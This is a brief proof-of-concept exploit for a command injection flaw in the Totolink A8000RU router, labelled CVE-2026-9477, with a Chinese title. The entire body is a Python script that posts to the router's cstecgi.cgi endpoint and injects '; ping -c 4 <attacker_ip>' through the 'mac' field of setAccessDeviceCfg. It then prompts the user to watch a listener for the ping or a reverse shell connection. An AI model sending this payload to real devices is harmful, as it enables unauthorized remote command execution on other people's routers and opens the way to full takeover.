CVE-2026-9477 Totolink A8000RU远程命令执行漏洞

import requests # Target URL of the vulnerable device target_url = "http://<target_ip>/cgi-bin/cstecgi.cgi" # Vulnerable payload: Injecting a command to ping a controlled server # The 'mac' parameter is vulnerable to OS command injection payload = "; ping -c 4 <attacker_ip>" data = { "function": "setAccessDeviceCfg", "mac": payload } try: # Sending the malicious POST request response = requests.post(target_url, data=data, timeout=5) print(f"[+] Request sent to {target_url}") print(f"[+] Status Code: {response.status_code}") print("[+] Check your listener for ping results or reverse shell connection.") except requests.exceptions.RequestException as e: print(f"[-] Error occurred: {e}")